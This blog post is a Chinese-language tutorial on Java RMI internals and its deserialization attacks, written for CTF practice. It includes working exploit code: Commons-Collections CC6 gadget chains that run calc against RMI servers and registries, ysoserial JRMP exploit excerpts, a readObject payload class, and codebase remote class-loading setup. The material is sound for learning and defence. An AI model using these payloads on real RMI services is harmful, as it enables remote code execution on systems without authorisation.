RMI

前言

首先了解一下啥是RMI。

RMI:Remote Method Invocation 远程方法调用。

1
2
3
4
RMI为应用提供了远程调用的接口(Java的RPC框架)
调用远程位置对象的方法
实现RMI的协议叫JRMP
RMI实现过程存在Java对象的传递,因此涉及到反序列化

基本上从java反序列化取经出来,遇到且绕不开的应该是各个CC链,而且很多的java反序列化非常具有缝合怪的风格,在前期学业压力下没办法系统归纳,知识也零零散散,这里就做一个系统化的复盘。

但是CC链太具有代表性了,所以我想先写写我第一次打到java题的时候遇到的RMI/JNDI问题,就是NCTF2023的logging签到题,那道log4j虽然很简单地打accept头就能RCE,但是起的工具也就是JNDI注入的工具,所以让我记忆犹新。

然而光靠工具小子当然是不能解决问题的,大多是的EXP都是现场动调而手导手写,而且线下断网环境注定不能反弹shell而则必须使用内存马也使得java在web题内最少解的情况,国赛也遇到了触目惊心的零解。反射和类加载我就不再赘述,因为这算是最基本的java反序列化入门知识。

为屏蔽网络通信的复杂性,RMI引入两个概念,客户端存根Stub和服务端骨架Skeleton

1
2
3
4
5
Client试图调用一个远端的Object,实际调用的是客户端本地的一个代理类(就是Stub

调用Server的目标类之前,会经过一个远端代理类(就是Skeleton),它从Stub接收远程方法调用并传递给真正的目标类

StubSkeleton的调用对于RMI服务的使用者是隐藏的

1

2

代码规则

1
2
3
4
5
6
7
8
9
客户端和服务端都需定义用于远程调用的接口

接口必须继承`java.rmi.Remote`接口

接口中的方法都要抛出`java.rmi.RemoteException`异常

服务端创建接口实现类,实现接口定义的方法

实现类继承`java.rmi.server.UnicastRemoteObject`

这里要求实现类继承UnicastRemoteObject,方便自动将这个远程对象导出供客户端调用

当然不继承也行,但后面得手动调用UnicastRemoteObject#exportObject,导出对象时可以指定监听端口来接收incoming calls,默认为随机端口。由上图可知远程对象会被注册到RMI Registry中,所以实际上不需要通过注册中心,只要我们知道导出的远程对象监听的端口号,也可以和它直接通信。

RMI Registry注册中心存储着远程对象的引用(Reference)和其绑定的名称(Name),客户端通过名称找到远程对象的引用(Reference),再由这个引用就可以调用到远程对象了。

步骤代码

Server

需要远程调用的接口:

1
2
3
4
5
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}

接口实现类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}

我们通常使用 LocateRegistry#createRegistry() 方法来创建注册中心:

1
2
3
4
5
6
7
8
9
10
public class Registry {
public static void main(String args[]) {
try {
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
} catch (Exception e) {
e.printStackTrace();
}
}
}

然后将待调用的类进行绑定:

1
2
3
4
5
6
7
8
public class RemoteServer {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
// 创建远程对象
RemoteInterface remoteObject = new RemoteObject();
// 绑定
Naming.bind("rmi://localhost:1099/Hello", remoteObject);
}
}

也可以直接整合到Server处注册远程对象,使用LocateRegistry#createRegistry()来创建注册中心,Registry#bind()进行绑定:

1
2
3
4
5
6
7
8
9
10
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject = new RemoteObject();
Naming.bind("rmi://127.0.0.1:1099/Hello", remoteObject);
}
}

Naming 提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)、list(列表)用来对注册表进行操作。也就是说,Naming 是一个用来对注册表进行操作的类。而这些方法的具体实现,其实是调用 LocateRegistry.getRegistry 方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的。

这些方法的第一个参数都接收一个URL字符串,rmi://host:port/name,表示注册中心所在主机和端口,远程对象引用的名称。

一般注册中心和服务端都在同一主机。

Client

客户端也需要定义和服务端相同的远程接口,然后进行调用:

LocateRegistry#getRegistry()连接注册中心,Registry#lookup()获取远程对象的存根,通过名称查找。注册中心默认端口1099

1
2
3
4
5
6
7
8
9
10
11
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
// sun.rmi.registry.RegistryImpl_Stub
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
System.out.println(Arrays.toString(registry.list()));
// lookup and call
RemoteInterface stub = (RemoteInterface) registry.lookup("Hello");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}

这里 RemoteInterface 接口在 Client/Server/Registry 均应该存在,只不过通常 Registry 与 Server 通常在同一端上。

RMI支持动态类加载来进行反序列化。上面的远程方法调用涉及方法参数的传递,若客户端传递了一个服务端不存在的类对象,服务端如何进行反序列化呢?

最后还有个小trick,首先是动态类加载,如果客户端在调用时,传递了一个可序列化对象,这个对象在服务端不存在,则在服务端会抛出 ClassNotFound 的异常,但是 RMI 支持动态类加载,若设置了java.rmi.server.codebase,则服务端会尝试从其地址获取 .class 并加载及反序列化。加载字节码。

1
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/");

所以,打反序列化的时候,恶意Server端可以如此存放恶意class字节码,让Client来调用从而RCE。

可使用 System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:9999/"); 进行设置,或使用启动参数 -Djava.rmi.server.codebase="http://127.0.0.1:9999/" 进行指定。

接下来就是安全策略的设置,因为我们通过网络加载外部类并执行方法,所以我们必须要有一个安全管理器来进行管理,如果没有设置安全管理,则 RMI 不会动态加载任何类,通常我们使用:

1
2
3
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}

管理器应与管理策略相辅相成,所以我们还需要提供一个策略文件,里面配置允许那些主机进行哪些操作,这里为了方便测试,直接设置全部权限:

1
2
3
grant {
permission java.security.AllPermission;
};

同样可以使用 -Djava.security.policy=rmi.policySystem.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString()); 来进行设置。

RMI底层原理总结

对于更底层部分的分析我就不献丑,网上很多大牛都写得很透彻清晰,这里我就只写写RMI-Attack行为了。

底层原理可以总结为(借用su18佬的图图):

3

总而言之,RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:

1
2
3
4
5
6
7
8
9
10
1、RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
2、Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
3、RemoteCall 序列化 RMI 服务名称、Remote 对象。
4、RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
5、RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
6、Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
7、Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
9、RMI 客户端反序列化服务端结果,获取远程对象的引用。
10、RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
11、RMI 客户端反序列化 RMI 远程方法调用结果。

RMI-Attack

这里我觉得su18佬的电话本比喻很恰当也很易懂,Java RMI 设计了一个 Registry 的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个 RMI 电话本。

我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

参与一次 RMI 调用的有三个角色,分别是 Server 端,Registry 端和 Client 端。严格意义上来讲,只有 Registry 端和使用 Registry 的端,因为 Registry 端只负责查询和传递引用,真正的方法调用是不需要经过 Registry 端的,只不过注册服务的我们称之为 Server 端,使用服务的我们称之为 Client 端。

有一种我只负责帮你找到人,至于你找这个人做什么非法勾当我不管的感觉,不过为了更清晰的划分不同角色,我们还是将其分为三个角色,而通常情况下,Server 端和 Registry 端是同一端。

RMI调用过程决定了三者都涉及反序列化操作,所以对这三者的攻击就呼之欲出。

大概分这几种:

  1. 攻击客户端
    • RegistryImp_Stub#lookup 反序列化注册中心返回的Stub
    • UnicastRef#invoke 反序列化远调方法的执行结果
    • StreamRemoteCall#executeCall 反序列化远程调用返回的异常类
    • DGCImpl_Stub#dirty
  2. 攻击服务端
    • UnicastServerRef#dispatch 反序列化客户端传递的方法参数
    • DGCImpl_Skel#dispatch
  3. 攻击注册中心
    • RegistryImp_Stub#bind 注册中心反序列化服务端传递传来的远程对象

Server 端 Attack

恶意服务参数

这里需要一个背景,当 Client 端获取到 Server 端创建的 Stub 后,Client 会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数并传递给 Server 端,Server 端就会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。

例如我们上面写的在远程调用接口 RemoteInterface 存在一个传入Object类型的sayGoodbye方法:

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
String sayHello(Object name) throws RemoteException;
}

那就直接可以传一个反序列化 payload 进去执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

import java.rmi.Remote;
import java.rmi.RemoteException;

public class RMIClient {
public static void main(String[] args) throws Exception {
Registry r = LocateRegistry.getRegistry("127.0.0.1", 9999);
Hello stub = (Hello) r.lookup("hello");
stub.sayHello(getPayload());
}

public static Object getPayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"})
};

Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "xxx");

lazyMap.remove("test");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

return expMap;
}

public interface Hello extends Remote {
String sayHello(Object name) throws RemoteException;
}
}

CC6直接弹calc。

如果参数类型不是 Object 类型,那能否进行攻击?

当然可以。

这里可以看一个小实验,我们在Server的接口处若使用HelloObject作为函数参数,Client的接口使用Object作为函数参数:

Server:

1
2
3
4
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(HelloObject name) throws RemoteException;
}

Client:

1
2
3
4
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
}

这样若想直接触发反序列化洞会报错:

4

其实可以看出,就是在服务端没有找到对应的调用方法。可以发现这个调用方法在 UnicastServerRef 的 dispatch 方法中在 this.hashToMethod_Map 中通过 Method 的 hash 来查找。

这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

那有没有一种可能,我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)呢?

答案是可以的,在 mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法:

  • 通过网络代理,在流量层修改数据
  • 自定义 “java.rmi” 包的代码,自行实现
  • 字节码修改
  • 使用 debugger

并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法。

客户端的接口也添加一个同服务端相同的方法

1
2
3
4
5
public interface Hello extends Remote {
String sayHello(Object s) throws RemoteException;
String sayGoodBye(Object o) throws RemoteException;
String sayGoodBye(HelloObject o) throws RemoteException; //Same as Server's
}

即调试下断点的时候,在RemoteObjectInvocationHandler调用invokeRemoteMethod的时候修改method(在 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法处下断,将 Method 改为服务端存在的 HelloObject 的 Method),下面getMethodHash(method)获取到的哈希就和服务端的一样了,后续弹calc都一样的。

5

Afant1 师傅使用了 Java Agent 的方式插桩,在这篇文章里,0c0c0f 师傅使用了流量层的替换,在这篇文章里,有兴趣的师傅请自行查看。

利用这种方式,就大大的扩展了利用链。RMI 的反序列化逻辑位于 sun.rmi.server.UnicastRef#unmarshalValue,如下:

6

可以看到,除了基础数据类型,其他的类型均能调用 readObject 进行反序列化,甚至原本 String 类型的参数也会走 readObject 反序列化,那么结合之前的替换手段,总结起来就是:

Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞。

动态类加载

上面说过,RMI反序列化参数的时候,若在本地找不到类,会在指定的codebase下加载类,而codebase可以由客户端指定,那么这就是一个很有用的打反序列化的地方。这个特性在 6u45/7u21 之前都是默认开启的。

为了能够远程加载目标类,需要 Server 加载并配置 SecurityManager,并设置 java.rmi.server.useCodebaseOnly=false

Server 端调用 UnicastServerRef 的 dispatch 方法处理客户端请求,调用 unmarshalParameters 方法反序列化客户端传来的参数。

反序列化过程由 RMI 封装类 MarshalInputStream 来实现,会调用 resolveClass 来解析 Class。

无论 Server 端还是 Client 端,只要有一端配置了 java.rmi.server.codebase,这个属性都会跟随数据流在两端流动。

因此,Client 端可以通过配置此项属性,并向 Server 端传递不存在的类,使 Server 端试图从 java.rmi.server.codebase 地址中远程加载恶意类而触发攻击。

替身攻击

在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路,su18师傅称其为替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。

大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。

这的确是一种思路,但是还不如 hook RMI 代码修改逻辑来得快,所以这里不进行测试。

Registry 端 Attack

在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,这个对象是一个 Server 端生成的动态代理类,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询。

所以如果我们是一个恶意的 Server 端,向 Registry 端输送了一个恶意的对象,在其反序列化时就可以触发恶意调用。

这里仍然用 CC6 测试,而因为 bind 的参数是需要是 Remote 类型的,所以这里使用了 AnnotationInvocationHandler 来代理了 Remote 接口,形成了反序列化漏洞。

形如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.eddiemurphy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
public static void main(String[] args) throws Exception {
// 连接 Registry
Registry registry = LocateRegistry.getRegistry("localhost", 1099);

//使用 AnnotationInvocationHandler 动态代理 Remote
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("EddieMurphy", getEvilClass());

//使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

//使用 AnnotationInvocationHandler 动态代理 Remote
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class}, invocationHandler);

//bind 到 Registry 时会触发反序列化
registry.rebind("EddieMurphy", remote);
}
public static Object getEvilClass() throws Exception {
// 初始化 Hashmap
HashMap<Object, Object> map = new HashMap<>();

// 创建 ChainedTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
return new ChainedTransformer(transformers);
}
}

这里需要 Registry 端具有相应的依赖及相应 JDK 版本需求。

这个攻击手段实际上就是 ysoserial 中的 ysoserial.exploit.RMIRegistryExploit 的实现原理。

除了 bind,由于 lookup/rebind 等方法均通过反序列化传递数据,因此此处的实际攻击手段不止 bind 一种。也就是说,名义上的 Server 端和 Client 端都可以攻击 Registry 端。

Client 端 Attack

如果攻击的目标作为 Client 端,也就是在 Registry 地址可控,或 Registry/Server 端可控,也是可以导致攻击的。客户端主要有两个交互行为,第一是从 Registry 端获取调用服务的 stub 并反序列化,第二步是调用服务后获取执行结果并反序列化。

这部分攻击实战意义较少,并且与上述讨论的攻击 Server 端和 Registry 端的攻击都是镜像行为,所以这里简单描述一下流程就不再演示了。

客户端的攻击和上面的都类似,大概就下面几个攻击点

  • 恶意Server返回方法调用结果
  • 恶意Server(Registry)返回Stub
  • 动态类加载(Server返回的调用结果若为客户端不存在的类,客户端也支持动态加载)

DGC Attack

DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。

RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirtyclean

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel

这个命名方式看着确实非常眼熟。

没错,很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理。

攻击手段就是

DGCImpl_Stub#dirty

DGCImpl_Skel#dispatch

见ysoserial的exploit.JRMPListenerexploit.JRMPClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}


public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

攻击的gadget分 UnicastRemoteObject、UnicastRef和RemoteObject三种。这里不做过多解释。

总结为

  • exploit
    • JRMPListner:构造恶意JRMP服务器,返回异常让客户端反序列化 StreamRemoteCall#executeCall
    • JRMPClient:发送恶意序列化数据,打DGC服务 DGCImpl_Skel#dispatch
  • payloads
    • JRMPListner:UnicastRemoteObject反序列化时会导出对象,触发JRMP监听端口,配合exploit.JRMPClient打
    • JRMPClient:UnicastRef反序列化时会触发DGC的ditry,配合exploit.JRMPListner打

Final Test

最后浅浅打一个简单使用RMI服务调用远程对象反序列化弹calc作为我最后的结束吧,JEP 290的bypass放在后面文章再进行复现。JNDI也同样会放在后面再详细复盘。

1
2
3
4
5
6
7
8
9
10
11
12
package com.eddiemurphy;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class payload implements Serializable {
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
objectInputStream.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.eddiemurphy;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RMITestImpl rmiTest = new RMITestImpl();
Registry registry = LocateRegistry.createRegistry(8081);
registry.bind("EddieMurphy",rmiTest);
System.out.println("RMI Server is listening ...");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.eddiemurphy;

import java.io.IOException;
import java.rmi.NotBoundException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws IOException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("localhost", 8081);
RMITest rmiTest = (RMITest) registry.lookup("EddieMurphy");
rmiTest.sayObject(new payload());
}
}
1
2
3
4
5
6
7
8
9
10
package com.eddiemurphy;

import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMITest extends Remote {
public String testcalc() throws IOException;
public void sayObject(Object obj) throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.eddiemurphy;


import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMITestImpl extends UnicastRemoteObject implements RMITest{
protected RMITestImpl() throws RemoteException {
}

@Override
public String testcalc() throws IOException {
Runtime.getRuntime().exec("calc");
return null;
}

@Override
public void sayObject(Object obj) {
System.out.println(obj);
}
}

7

抄了下【心得】java JNDI配合RMI实现注入个人笔记_${jndi:rmi:-CSDN博客(我是懒狗)

原理很简单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1、定义远程接口 (RMITest.java):  
· 定义了一个远程接口 RMITest,其中包含两个方法 testcalc() 和 sayObject(Object obj)。
这些方法声明抛出 RemoteException,以便在远程调用时处理可能的网络问题。

2、实现远程接口 (RMITestImpl.java):
· RMITestImpl 类实现了 RMITest 接口,并继承了 UnicastRemoteObject,使其成为一个远程对象。
· 在 testcalc() 方法中,使用 Runtime.getRuntime().exec("calc") 来执行系统命令,弹出计算器。
· sayObject(Object obj) 方法简单地打印传入的对象。

3、创建并启动RMI服务器 (RMIServer.java):
· 在 main 方法中,创建 RMITestImpl 的实例。
· 使用 LocateRegistry.createRegistry(8081) 创建一个在端口 8081 上监听的 RMI 注册表。
· 将 RMITestImpl 实例绑定到注册表中,名称为 "EddieMurphy"
· 打印一条消息表示服务器正在监听。

4、创建并启动RMI客户端 (RMIClient.java):
· 在 main 方法中,使用 LocateRegistry.getRegistry("localhost", 8081) 获取服务器的注册表。
· 使用 registry.lookup("EddieMurphy") 查找远程对象,并将其强制转换为 RMITest 接口。
· 调用 rmiTest.sayObject(new payload()) 方法,传递一个 payload 对象。
· 调用 rmiTest.testcalc() 方法,执行远程方法,弹出计算器。

后续的JNDI是重头戏,lookup是典型的特征。那么JNDI结合RMI打法就先留待抛砖引玉吧。

参考:

RMI | Java (gitbook.io)

Java RMI 攻击由浅入深 | 素十八 (su18.org)


RMI
https://eddiemurphy89.github.io/2024/07/18/RMI-JNDI/
作者
EddieMurphy
发布于
2024年7月18日
许可协议